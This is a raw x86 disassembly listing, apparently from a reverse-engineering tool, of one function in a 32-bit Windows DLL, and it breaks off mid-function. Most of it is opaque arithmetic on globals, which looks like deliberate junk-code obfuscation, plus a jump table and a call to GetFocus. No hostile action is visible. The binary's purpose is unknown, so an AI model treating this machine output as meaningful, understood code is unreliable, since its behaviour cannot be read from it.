cmp dword [ebp - 0x48], 0
je 0x10056e33
movsx edx, word [ebp - 0x14]
mov dword [ebp - 0x5e8], edx
jmp 0x10056e3e
mov eax, dword [0x100ad118]
mov dword [ebp - 0x5e8], eax
mov cl, byte [ebp - 0x5e8]
mov byte [ebp - 2], cl
movsx edx, word [0x100ad0e4]
imul eax, edx, 0xa672560b
xor ecx, ecx
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], ecx
movzx eax, word [ebp - 0x10]
cdq
mov ecx, dword [0x100ad0ec]
push ecx
mov ecx, dword [0x100ad0e8]
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
movzx eax, word [ebp - 0x10]
cdq
sub eax, ecx
mov word [ebp - 0x10], ax
mov edx, dword [0x100ad0f8]
add edx, 1
mov eax, dword [0x100ad0fc]
adc eax, 0
mov dword [0x100ad0f8], edx
mov dword [0x100ad0fc], eax
jmp 0x10056c43
mov ecx, 2
shl ecx, 0
xor edx, edx
mov word [ebp + ecx - 0x158], dx
movsx eax, byte [str.E2_wcsrchr]
test eax, eax
je 0x100570b5
mov dword [0x100ad140], 2
mov ecx, dword [0x100ad158]
sar ecx, 1
mov dword [ebp - 0x48], ecx
imul edx, dword [ebp - 0x48], 0x83
mov word [0x100ad0e4], dx
movsx eax, word [0x100ad0e4]
movsx ecx, word [ebp - 0xc]
imul eax, ecx
movsx edx, word [0x100ad0c4]
movsx ecx, byte [0x100ad043]
sub edx, ecx
sub eax, edx
sub eax, 0x864f
not eax
cdq
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
movsx eax, byte [ebp - 2]
cdq
mov ecx, eax
mov esi, edx
movsx eax, byte [ebp - 2]
cdq
mov edi, eax
mov ebx, edx
xor edi, dword [ebp - 0x40]
xor ebx, dword [ebp - 0x3c]
movsx eax, word [ebp - 0xc]
movsx edx, word [0x100ad0d0]
imul eax, edx
cdq
and edi, eax
and ebx, edx
push ebx
push edi
push esi
push ecx
call fcn.1007a8a0
mov word [ebp - 0x10], ax
movsx eax, byte [ebp - 2]
add eax, dword [ebp - 0x38]
mov word [ebp - 0x28], ax
movsx eax, word [0x100ad0b0]
add eax, 0x48
cdq
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
mov ecx, dword [0x100ad140]
mov dword [ebp - 0x208], ecx
cmp dword [ebp - 0x208], 0
je 0x10056fa9
cmp dword [ebp - 0x208], 1
je 0x10057010
cmp dword [ebp - 0x208], 2
je 0x10057047
jmp 0x100570b5
movzx dx, byte [str.px_04X_]
mov word [0x100ad0ac], dx
movzx eax, word [ebp - 0x10]
mov dword [0x100ad140], eax
movzx cx, byte [str.px_04X_]
mov edx, 2
imul eax, edx, 0x8136
mov word [eax + 0x100c0320], cx
movsx ecx, byte [ebp - 5]
mov edx, dword [ebp - 0x48]
sub edx, ecx
mov eax, dword [ebp - 0x48]
imul eax, edx
mov dword [ebp - 0x48], eax
movzx eax, byte [0x100ad072]
cdq
push 0xc93a5
push 0xd5c3512e
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad0a6], al
jmp 0x100570b5
movsx ecx, byte [0x100ad00d]
mov edx, dword [ebp - 0x48]
sub edx, ecx
mov dword [ebp - 0x48], edx
movsx eax, word [0x100ad0b0]
movsx ecx, byte [ebp - 5]
imul eax, ecx
movsx edx, word [0x100ad0b0]
imul edx, eax
mov word [0x100ad0b0], dx
mov byte [0x100ad072], 0xad
jmp 0x100570b5
mov eax, dword [0x100ad0d8]
mov ecx, dword [0x100ad0dc]
mov dword [ebp - 0x22c4], ecx
sub eax, 0xd35cece0
mov dword [0x100ad0c8], eax
mov dx, word [0x100ad0bc]
mov eax, 1
imul ecx, eax, 0x69a9
mov byte [ecx + 0x100d57e0], dl
movsx edx, byte [ebp - 2]
test edx, edx
je 0x10057096
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0xffc], eax
mov dword [ebp - 0xff8], ecx
jmp 0x100570a7
movzx eax, word [ebp - 0x18]
cdq
mov dword [ebp - 0xffc], eax
mov dword [ebp - 0xff8], edx
mov dx, word [ebp - 0xffc]
mov word [0x100ad0c0], dx
mov eax, 0x32
mov word [ebp - 0x15c], ax
xor ecx, ecx
mov word [ebp - 0x15a], cx
mov eax, dword [ebp - 0x38]
cdq
mov dword [ebp - 0x1ea0], eax
mov dword [ebp - 0x1e9c], edx
mov edx, dword [0x100ad0ec]
cmp edx, dword [ebp - 0x1e9c]
ja 0x10057103
jb 0x100570f7
mov eax, dword [0x100ad0e8]
cmp eax, dword [ebp - 0x1ea0]
ja 0x10057103
mov dword [ebp - 0x5ec], 1
jmp 0x1005710d
mov dword [ebp - 0x5ec], 0
cmp dword [0x100ad0ec], 0
ja 0x1005712d
jb 0x10057121
cmp dword [0x100ad0e8], 0x2e
ja 0x1005712d
mov dword [ebp - 0x5f0], 1
jmp 0x10057137
mov dword [ebp - 0x5f0], 0
mov ecx, dword [ebp - 0x5ec]
cmp ecx, dword [ebp - 0x5f0]
jle 0x100571a7
movzx edx, word [ebp - 0x18]
xor edx, 0x96
mov dword [ebp - 0x34], edx
imul eax, dword [0x100ad0e0], 0x8be0
mov dword [0x100ad0e0], eax
movzx ecx, byte [0x100ad0a6]
movsx edx, word [ebp - 0xc]
sub ecx, edx
jne 0x1005717c
mov dword [ebp - 0x5f4], 1
jmp 0x10057186
mov dword [ebp - 0x5f4], 0
movsx eax, byte [0x100ad09a]
movsx ecx, word [0x100ad0c4]
add eax, ecx
not eax
imul eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x48], eax
jmp 0x10057241
movsx edx, byte [ebp - 2]
test edx, edx
jne 0x10057241
movsx eax, word [0x100ad0bc]
cdq
add eax, dword [0x100ad0e8]
mov word [0x100ad0bc], ax
movzx eax, byte [ebp - 3]
shl eax, 1
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movsx eax, word [0x100ad0bc]
sub eax, dword [ebp - 0x38]
movzx ecx, word [ebp - 0x10]
movsx edx, byte [0x100ad09a]
imul ecx, edx
add eax, ecx
jne 0x10057204
xor eax, eax
mov dword [ebp - 0x1ea8], 1
mov dword [ebp - 0x1ea4], eax
jmp 0x1005720f
xorps xmm0, xmm0
movlpd qword [ebp - 0x1ea8], xmm0
mov eax, dword [ebp - 0x44]
cdq
mov ecx, dword [ebp - 0x40]
sub ecx, eax
movzx eax, byte [ebp - 3]
cdq
sub eax, dword [0x100ad138]
sub ecx, eax
not ecx
mov edx, dword [ebp - 0x1ea8]
sub edx, ecx
mov byte [ebp - 3], dl
movzx eax, byte [0x100ad072]
sub eax, 0x789
mov byte [ebp - 5], al
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x54], 0
jmp 0x1005725a
mov ecx, dword [ebp - 0x7c]
add ecx, 1
mov dword [ebp - 0x7c], ecx
cmp dword [ebp - 0x7c], 1
jae 0x100586cb
movzx edx, word [ebp - 0x18]
test edx, edx
je 0x100572f1
movzx eax, word [ebp - 0x24]
sub eax, 0x62afe01b
mov word [0x100ad0e4], ax
movsx eax, byte [0x100ad037]
cdq
add eax, 0xaf160b1d
mov word [ebp - 0xc], ax
mov dword [0x100ad0b4], 0xcfa9
movsx ecx, byte [0x100ad042]
movsx edx, word [0x100ad0b0]
xor ecx, edx
movsx eax, word [0x100ad130]
mov edx, dword [ebp - 0x48]
xor edx, eax
add ecx, edx
movzx eax, word [0x100ad120]
cdq
mov esi, eax
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x22c8], edx
sub esi, eax
movzx eax, byte [ebp - 3]
cdq
add esi, eax
add ecx, esi
mov word [ebp - 0x1c], cx
movzx eax, word [ebp - 0x20]
imul eax, dword [0x100ad140]
mov word [ebp - 0x20], ax
jmp 0x100573aa
movzx ecx, word [0x100ad0ac]
not ecx
test ecx, ecx
jne 0x10057307
mov edx, 0x96c8
test edx, edx
je 0x1005736e
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov cl, 6
call fcn.1007a8e0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov ecx, 0x15ba
mov word [ebp - 0x14], cx
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
sub edx, 1
sbb eax, 0
mov dword [0x100ad148], edx
mov dword [0x100ad14c], eax
movsx ecx, word [ebp - 0x1c]
movzx edx, byte [0x100ad0a6]
xor ecx, edx
movsx eax, word [ebp - 0x1c]
add eax, ecx
mov word [ebp - 0x1c], ax
mov ecx, dword [0x100adbec]
mov dword [0x100ad118], ecx
jmp 0x100573aa
movsx edx, word [0x100ad0cc]
test edx, edx
je 0x100573aa
movsx eax, byte [0x100ad042]
movsx ecx, byte [ebp - 2]
add eax, ecx
mov dword [0x100ad0b4], eax
movsx eax, byte [0x100ad043]
cdq
sub eax, 0x9cdb76d5
sbb edx, 0x39dea
xor eax, dword [ebp - 0x40]
xor edx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movsx edx, word [0x100ad0c4]
movsx eax, word [ebp - 0x14]
add edx, eax
mov word [0x100ad0c4], dx
movsx ecx, byte [0x100ad09a]
movsx edx, byte [0x100ad073]
sub ecx, edx
mov byte [0x100ad09a], cl
mov eax, dword [0x100ad0f8]
sub eax, 0x2966d263
mov word [ebp - 0x24], ax
mov dword [ebp - 0x48], 0xe4056523
mov ecx, dword [ebp - 0x7c]
movzx edx, word [ebp + ecx*2 - 0x15c]
mov eax, dword [ebp - 0x1c9c]
imul eax, dword [ebp - 0x1ca0]
imul ecx, eax, 0
sub edx, ecx
mov dword [ebp - 0x54], edx
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov cl, 6
call fcn.1007a8e0
mov byte [ebp - 4], al
mov edx, dword [ebp - 0x48]
shr edx, 6
mov byte [ebp - 1], dl
movsx eax, word [0x100ad11c]
shl eax, 4
mov byte [0x100ad037], al
mov cl, byte [ebp - 5]
mov byte [ebp - 0x5f8], cl
cmp byte [ebp - 0x5f8], 0
je 0x10057455
cmp byte [ebp - 0x5f8], 1
je 0x100574c5
jmp 0x10057566
movsx edx, byte [ebp - 5]
imul eax, edx, 0xea7aa0ff
mov dword [ebp - 0x38], eax
movzx ecx, word [ebp - 0x28]
movzx edx, word [0x100ad0b8]
sub ecx, edx
mov eax, dword [0x100ad140]
imul eax, ecx
movzx ecx, byte [0x100ad00f]
mov edx, dword [0x100ad0c8]
sub edx, ecx
add eax, edx
not eax
xor ecx, ecx
mov dword [0x100ad110], eax
mov dword [0x100ad114], ecx
movsx edx, word [0x100ad0d0]
movzx eax, word [ebp - 0x18]
mov ecx, dword [0x100ad140]
imul ecx, eax
sub edx, ecx
mov word [0x100ad0bc], dx
mov edx, 0x30c6
mov word [0x100ad11c], dx
jmp 0x10057566
movzx eax, word [0x100ad0b8]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x38], 0x10abc6e
movsx eax, byte [ebp - 1]
imul ecx, eax, 0xf4cd008a
mov byte [0x100ad00e], cl
movzx edx, byte [ebp - 4]
imul eax, edx, 0x5bb980d1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1eb0], ecx
mov dword [ebp - 0x1eac], edx
mov eax, dword [ebp - 0x1eb0]
or eax, dword [ebp - 0x1eac]
jne 0x10057523
mov dword [ebp - 0x5fc], 1
jmp 0x1005752d
mov dword [ebp - 0x5fc], 0
movzx ecx, word [ebp - 0x24]
movzx edx, word [ebp - 0x10]
sub edx, dword [ebp - 0x5fc]
not edx
add ecx, edx
jne 0x1005754f
mov eax, 1
mov word [ebp - 0xfc], ax
jmp 0x10057558
xor ecx, ecx
mov word [ebp - 0xfc], cx
mov dx, word [ebp - 0xfc]
mov word [0x100ad0c0], dx
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x7c]
mov dword [ebp - 0x54], eax
movzx eax, word [ebp - 0x28]
cdq
mov dword [ebp - 0x1eb8], eax
mov dword [ebp - 0x1eb4], edx
mov ecx, dword [ebp - 0x1eb4]
cmp ecx, dword [0x100ad154]
jg 0x100575fe
jl 0x1005759e
mov edx, dword [ebp - 0x1eb8]
cmp edx, dword [0x100ad150]
jae 0x100575fe
mov eax, dword [0x100ad150]
add eax, 1
mov ecx, dword [0x100ad154]
adc ecx, 0
mov dword [0x100ad150], eax
mov dword [0x100ad154], ecx
movzx edx, word [ebp - 0x18]
sub edx, 0x64933dda
mov dword [ebp - 0x34], edx
movzx eax, byte [ebp - 3]
movsx ecx, byte [0x100ad043]
add eax, ecx
movzx edx, byte [ebp - 3]
sub edx, eax
mov byte [ebp - 3], dl
movzx eax, word [ebp - 0x24]
shl eax, 4
mov word [0x100ad0d0], ax
movsx ecx, word [0x100ad130]
movsx edx, word [ebp - 0x14]
sub ecx, edx
mov word [0x100ad130], cx
mov eax, dword [ebp - 0x1350]
sub eax, 0x1bb
mov ecx, dword [ebp - 0x600]
xor ecx, dword [ebp - 0x600]
imul eax, ecx
add eax, dword [ebp - 0x7c]
xor eax, dword [ebp - 0x54]
mov dword [ebp - 0x54], eax
xor edx, edx
mov dword [0x100ad160], 0x8a272520
mov dword [0x100ad164], edx
mov dword [ebp - 0x20c], 0x2f
movzx eax, byte [0x100ad0a6]
cdq
and eax, dword [0x100ad0f8]
and edx, dword [0x100ad0fc]
add eax, dword [0x100ad0f8]
adc edx, dword [0x100ad0fc]
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], edx
movsx eax, word [ebp - 0x14]
cdq
mov ecx, eax
movzx eax, word [0x100ad120]
cdq
mov edx, dword [ebp - 0x40]
sub edx, eax
not edx
and ecx, edx
mov word [ebp - 0x1c], cx
mov eax, 1
imul ecx, eax, 0x22
movsx edx, byte [ecx + 0x100df598]
movsx eax, word [ebp - 0x14]
add eax, edx
mov word [ebp - 0x14], ax
movzx ecx, byte [ebp - 4]
test ecx, ecx
je 0x100576db
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
push 0
push 0xf3
push eax
push edx
call fcn.1007a8a0
mov byte [0x100ad0a6], al
mov ecx, dword [0x100ad138]
mov edx, dword [0x100ad13c]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x34]
add eax, 0xe3
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x20c]
add ecx, 1
mov dword [ebp - 0x20c], ecx
cmp dword [ebp - 0x20c], 0x1441
jl 0x1005769d
movsx eax, word [ebp - 0x14]
add eax, 0x83
cdq
mov dword [ebp - 0x1ec0], eax
mov dword [ebp - 0x1ebc], edx
mov edx, dword [0x100ad0e8]
cmp edx, dword [ebp - 0x1ec0]
jne 0x10057ca8
mov eax, dword [0x100ad0ec]
cmp eax, dword [ebp - 0x1ebc]
jne 0x10057ca8
mov eax, dword [0x100ad118]
cdq
mov ecx, dword [ebp - 0x2c]
add eax, dword [ebp - 0x30]
adc edx, ecx
mov dword [ebp - 0x1ec8], eax
mov dword [ebp - 0x1ec4], edx
cmp dword [ebp - 0x1ec8], 1
jne 0x10057ca8
cmp dword [ebp - 0x1ec4], 0
jne 0x10057ca8
movzx edx, byte [ebp - 3]
cmp edx, dword [0x100ad0c8]
je 0x10057bfe
movzx eax, word [ebp - 0x18]
movsx ecx, word [ebp - 0x14]
cmp eax, ecx
jge 0x1005778b
mov dword [ebp - 0x604], 1
jmp 0x10057795
mov dword [ebp - 0x604], 0
movzx edx, word [ebp - 0x18]
cmp edx, 0x57
jge 0x100577aa
mov dword [ebp - 0x608], 1
jmp 0x100577b4
mov dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x604]
cmp eax, dword [ebp - 0x608]
jle 0x10057b14
mov byte [0x100ad00d], 4
movsx ecx, word [ebp - 0x14]
imul eax, ecx, 0x9faa
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov dx, word [0x100adbec]
mov word [ebp - 0x28], dx
mov eax, dword [ebp - 0x40]
sub eax, 0x309d8d3a
mov word [0x100ad0cc], ax
mov dword [0x100ad0e0], 0x5dda
movsx ecx, byte [0x100ad00d]
mov dword [ebp - 0x60c], ecx
cmp dword [ebp - 0x60c], 4
ja case.default.0x10057821
mov edx, dword [ebp - 0x60c]
jmp dword [edx*4 + 0x100788c4]
movsx eax, word [ebp - 0xc]
test eax, eax
je 0x1005783e
mov ecx, dword [0x100ad15c]
mov dword [ebp - 0x610], ecx
jmp 0x1005784b
movsx edx, word [0x100ad0e4]
mov dword [ebp - 0x610], edx
mov eax, dword [ebp - 0x610]
cdq
mov dword [0x100ad108], eax
mov dword [0x100ad10c], edx
mov eax, dword [0x100ad150]
not eax
mov word [ebp - 0x10], ax
mov ecx, dword [0x100ad15c]
add ecx, dword [ebp - 0x38]
mov edx, dword [0x100ad15c]
add edx, ecx
mov dword [0x100ad15c], edx
jmp case.default.0x10057821
movzx eax, word [ebp - 0x24]
not eax
cdq
mov ecx, eax
mov esi, edx
movsx eax, byte [0x100ad037]
cdq
mov edi, dword [0x100ad0f8]
sub edi, eax
mov eax, dword [0x100ad0fc]
sbb eax, edx
xor ecx, edi
xor esi, eax
mov dword [ebp - 0x1ed0], ecx
mov dword [ebp - 0x1ecc], esi
mov ecx, dword [ebp - 0x1ed0]
or ecx, dword [ebp - 0x1ecc]
jne 0x100578d0
mov dword [ebp - 0x614], 1
jmp 0x100578da
mov dword [ebp - 0x614], 0
movsx edx, byte [ebp - 2]
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 4]
imul eax, ecx
lea edx, [edx + eax + 0x54]
sub edx, dword [ebp - 0x614]
not edx
mov dword [ebp - 0x34], edx
movzx eax, word [ebp - 0x10]
test eax, eax
jne 0x1005790c
mov dword [ebp - 0x618], 1
jmp 0x10057916
mov dword [ebp - 0x618], 0
movsx ecx, byte [0x100ad042]
movsx edx, word [ebp - 0x1c]
sub ecx, edx
jne 0x10057931
mov dword [ebp - 0x61c], 1
jmp 0x1005793b
mov dword [ebp - 0x61c], 0
movzx eax, word [ebp - 0x24]
imul eax, dword [ebp - 0x618]
sub eax, dword [ebp - 0x44]
movzx ecx, byte [ebp - 4]
xor ecx, dword [ebp - 0x34]
not ecx
add eax, dword [ebp - 0x61c]
add eax, ecx
cdq
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
movsx edx, byte [ebp - 2]
imul eax, edx, 0x7e
mov word [0x100ad0d0], ax
mov ecx, dword [0x100ad150]
add ecx, 0xd1
mov byte [ebp - 3], cl
jmp case.default.0x10057821
movsx edx, word [ebp - 0x1c]
test edx, edx
jne 0x1005799b
mov dword [ebp - 0x620], 1
jmp 0x100579a5
mov dword [ebp - 0x620], 0
movzx eax, word [ebp - 0x18]
movzx ecx, byte [ebp - 4]
sub eax, ecx
add eax, dword [ebp - 0x620]
not eax
movzx edx, word [ebp - 0x28]
add edx, dword [0x100ad100]
imul eax, edx
mov dword [0x100ad118], eax
mov eax, dword [0x100adbec]
mov dword [ebp - 0x38], eax
movsx ecx, word [ebp - 0x14]
movsx edx, byte [0x100ad043]
imul ecx, edx
movsx eax, word [ebp - 0x14]
and eax, ecx
mov word [ebp - 0x14], ax
jmp case.default.0x10057821
movsx eax, byte [str.ZFreeSid]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
xor edx, edx
mov dword [0x100ad0f8], 0x57
mov dword [0x100ad0fc], edx
movzx eax, word [ebp - 0x24]
add eax, dword [0x100ad100]
movzx ecx, word [ebp - 0x24]
add ecx, eax
mov word [ebp - 0x24], cx
movzx edx, word [ebp - 0x28]
movsx eax, word [0x100ad0c4]
add edx, eax
mov word [ebp - 0x28], dx
jmp case.default.0x10057821
movsx ecx, word [ebp - 0x14]
mov eax, dword [0x100ad0c8]
sub eax, ecx
cdq
mov ecx, 0xf758
sub ecx, dword [0x100ad150]
mov esi, 0
sbb esi, dword [0x100ad154]
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x1ed8], eax
mov dword [ebp - 0x1ed4], edx
mov edx, dword [ebp - 0x1ed8]
or edx, dword [ebp - 0x1ed4]
jne 0x10057a93
mov dword [ebp - 0x624], 1
jmp 0x10057a9d
mov dword [ebp - 0x624], 0
movsx eax, word [ebp - 0xc]
not eax
movzx ecx, word [ebp - 0x28]
not ecx
add eax, ecx
movzx edx, byte [0x100ad072]
xor ecx, ecx
sub ecx, edx
add ecx, dword [ebp - 0x624]
add ecx, eax
not ecx
mov byte [0x100ad042], cl
movzx edx, word [ebp - 0x28]
test edx, edx
je 0x10057ae0
mov eax, dword [ebp - 0x38]
cdq
mov dword [ebp - 0x1004], eax
mov dword [ebp - 0x1000], edx
jmp 0x10057af7
mov eax, dword [0x100ad0f8]
mov ecx, dword [0x100ad0fc]
mov dword [ebp - 0x1004], eax
mov dword [ebp - 0x1000], ecx
mov dl, byte [ebp - 0x1004]
mov byte [0x100ad042], dl
mov eax, dword [ebp - 0x38]
cdq
add eax, 0x85593f2f
mov dword [ebp - 0x44], eax
jmp 0x10057bfc
movzx eax, word [ebp - 0x18]
movzx ecx, word [ebp - 0x20]
cmp eax, ecx
je 0x10057bfc
cmp dword [ebp - 0x34], 0
je 0x10057b37
mov dx, word [ebp - 0x1c]
mov word [ebp - 0xfa], dx
jmp 0x10057b44
mov ax, word [0x100ad0cc]
mov word [ebp - 0xfa], ax
mov cx, word [ebp - 0xfa]
mov word [ebp - 0x18], cx
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov dword [ebp - 0x22cc], eax
mov dword [0x100ad0c8], edx
cmp dword [ebp - 0x48], 0
je 0x10057b86
mov ecx, dword [0x100ad108]
mov edx, dword [0x100ad10c]
mov dword [ebp - 0xf3c], ecx
mov dword [ebp - 0xf38], edx
jmp 0x10057b98
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0xf3c], eax
mov dword [ebp - 0xf38], ecx
mov edx, dword [ebp - 0xf3c]
mov eax, dword [ebp - 0xf38]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
movsx ecx, word [ebp - 0xc]
movzx edx, word [ebp - 0x18]
imul ecx, edx
movsx eax, word [ebp - 0xc]
sub eax, ecx
mov word [ebp - 0xc], ax
movsx eax, byte [ebp - 1]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
sub ecx, eax
sbb esi, edx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
sub edx, ecx
sbb eax, esi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
movzx eax, byte [0x100ad0a6]
cdq
add eax, 0x182dacde
adc edx, 0xd62a9
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
jmp 0x10057c3a
movsx ecx, word [ebp - 0x14]
movzx edx, word [ebp - 0x10]
xor edx, dword [0x100ad158]
xor ecx, edx
mov dword [ebp - 0x34], ecx
movsx eax, byte [ebp - 1]
and eax, 0x80
mov word [ebp - 0x14], ax
mov eax, dword [0x100ad0c8]
cdq
sub eax, 0xbb3f412c
sbb edx, 0x356
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
jmp 0x10057621
mov edx, dword [ebp - 0x54]
not edx
mov dword [ebp - 0x54], edx
mov eax, dword [0x100ad160]
or eax, dword [0x100ad164]
je 0x10057d2a
movsx ecx, word [ebp - 0x14]
test ecx, ecx
je 0x10057cd4
movsx edx, word [0x100ad130]
mov dword [ebp - 0x62c], edx
jmp 0x10057cde
movzx eax, word [ebp - 0x28]
mov dword [ebp - 0x62c], eax
mov cx, word [ebp - 0x62c]
mov word [0x100ad120], cx
imul edx, dword [0x100ad118], 0x85
movsx eax, byte [ebp - 2]
add eax, edx
mov byte [ebp - 2], al
push 0
push 0xfb3e
mov ecx, dword [0x100ad13c]
push ecx
mov edx, dword [0x100ad138]
push edx
call fcn.1007a8a0
mov dword [0x100ad100], eax
mov dword [ebp - 0x34], 0x71a7cebf
jmp 0x10057dd6
movzx eax, word [ebp - 0x10]
not eax
imul ecx, eax, 0
test ecx, ecx
jne 0x10057d4f
movsx edx, word [0x100ad0e4]
test edx, edx
jne 0x10057d4f
mov eax, 0xdc35
test eax, eax
jne 0x10057dd6
xor ecx, ecx
mov dword [0x100ad0d8], 0x8e93f318
mov dword [0x100ad0dc], ecx
movsx edx, byte [0x100ad00d]
sub edx, dword [0x100ad100]
movsx eax, byte [0x100ad00d]
imul eax, edx
mov byte [0x100ad00d], al
movsx eax, byte [0x100ad00d]
cdq
mov ecx, eax
sub ecx, dword [0x100ad110]
movsx eax, byte [0x100ad00d]
cdq
sub eax, ecx
mov byte [0x100ad00d], al
movzx eax, byte [0x100ad0a6]
shl eax, 6
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
movzx edx, word [0x100ad0ac]
movzx eax, word [ebp - 0x24]
imul edx, eax
mov word [0x100ad0ac], dx
mov ecx, dword [0x100ad0e8]
add ecx, 0x59
movsx eax, word [ebp - 0x14]
cdq
sub eax, ecx
mov word [ebp - 0x14], ax
mov edx, dword [ebp - 0x54]
xor edx, dword [ebp - 0x7c]
mov dword [ebp - 0x54], edx
mov dword [0x100ad0a8], 0xac3e1428
cmp dword [0x100ad15c], 0
je 0x10057e58
push 0
push 0x53
mov eax, dword [0x100ad0fc]
push eax
mov ecx, dword [0x100ad0f8]
push ecx
call fcn.1007a8a0
mov byte [ebp - 3], al
movsx edx, word [0x100ad11c]
add edx, dword [ebp - 0x34]
or edx, dword [ebp - 0x34]
mov dword [ebp - 0x34], edx
movzx ax, byte [ebp - 3]
mov ecx, 2
imul edx, ecx, 0x3c
mov word [edx + 0x100d5678], ax
movzx eax, word [ebp - 0x24]
movsx ecx, word [0x100ad0c0]
sub eax, ecx
movzx edx, word [ebp - 0x24]
sub edx, eax
mov word [ebp - 0x24], dx
mov ax, word [ebp - 0x40]
mov word [ebp - 0x18], ax
movsx ecx, word [ebp - 0xc]
shl ecx, 2
mov dword [ebp - 0x38], ecx
movsx edx, byte [ebp - 2]
add edx, 1
cmp dword [0x100ad0a8], edx
jne 0x100582fc
mov eax, dword [0x100ad0c8]
cdq
mov dword [ebp - 0x1ee0], eax
mov dword [ebp - 0x1edc], edx
mov eax, dword [ebp - 0x1edc]
cmp eax, dword [0x100ad0fc]
jg 0x10057ea7
jl 0x10057e9b
mov ecx, dword [ebp - 0x1ee0]
cmp ecx, dword [0x100ad0f8]
ja 0x10057ea7
mov dword [ebp - 0x634], 1
jmp 0x10057eb1
mov dword [ebp - 0x634], 0
mov edx, dword [0x100ad128]
mov eax, dword [0x100ad12c]
mov dword [ebp - 0x1ee8], edx
mov dword [ebp - 0x1ee4], eax
cmp dword [ebp - 0x1ee4], 0
ja 0x10057edd
cmp dword [ebp - 0x1ee8], 0xf3
jbe 0x10057ee9
mov dword [ebp - 0x630], 1
jmp 0x10057ef3
mov dword [ebp - 0x630], 0
movsx ecx, word [0x100ad0e4]
cmp ecx, dword [ebp - 0x630]
jl 0x10057f0e
mov dword [ebp - 0x638], 1
jmp 0x10057f18
mov dword [ebp - 0x638], 0
movsx edx, byte [ebp - 1]
movsx eax, word [ebp - 0xc]
not eax
sub edx, eax
add edx, dword [ebp - 0x634]
cmp edx, dword [ebp - 0x638]
je 0x1005805f
movzx ecx, word [ebp - 0x18]
cmp dword [ebp - 0x34], ecx
jl 0x1005805f
mov ecx, dword [ebp - 0x40]
not ecx
mov esi, dword [ebp - 0x3c]
not esi
movzx eax, word [ebp - 0x24]
cdq
mov dword [ebp - 0x1ef0], ecx
mov dword [ebp - 0x1eec], esi
mov dword [ebp - 0x1ef8], eax
mov dword [ebp - 0x1ef4], edx
mov edx, dword [ebp - 0x1ef0]
cmp edx, dword [ebp - 0x1ef8]
jne 0x1005805f
mov eax, dword [ebp - 0x1eec]
cmp eax, dword [ebp - 0x1ef4]
jne 0x1005805f
cmp dword [0x100ad15c], 0
jne 0x10057fa3
mov dword [ebp - 0x63c], 1
jmp 0x10057fad
mov dword [ebp - 0x63c], 0
movzx ecx, byte [str.px_04X_]
mov edx, dword [ebp - 0x63c]
sub edx, ecx
movzx eax, word [ebp - 0x20]
add edx, eax
mov byte [ebp - 1], dl
mov ecx, dword [0x100ad138]
sub ecx, 0x1ed9c9ad
movsx eax, byte [0x100ad073]
cdq
sub eax, ecx
mov byte [0x100ad073], al
mov dl, byte [0x100adbec]
mov byte [ebp - 2], dl
cmp dword [0x100ad100], 0
je 0x10057ffe
movzx eax, word [ebp - 0x18]
mov dword [ebp - 0x640], eax
jmp 0x10058008
movsx ecx, byte [ebp - 2]
mov dword [ebp - 0x640], ecx
mov dl, byte [ebp - 0x640]
mov byte [0x100ad00d], dl
mov eax, 2
imul ecx, eax, 0xf3
movsx eax, word [ecx + 0x101e9930]
cdq
mov ecx, dword [0x100ad160]
sub ecx, eax
mov eax, dword [0x100ad164]
sbb eax, edx
mov dword [0x100ad160], ecx
mov dword [0x100ad164], eax
movsx eax, byte [0x100ad09a]
cdq
sub eax, 0x5f191781
sbb edx, 0x688c0
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0
je 0x1005809a
mov ecx, dword [ebp - 0x644]
push ecx
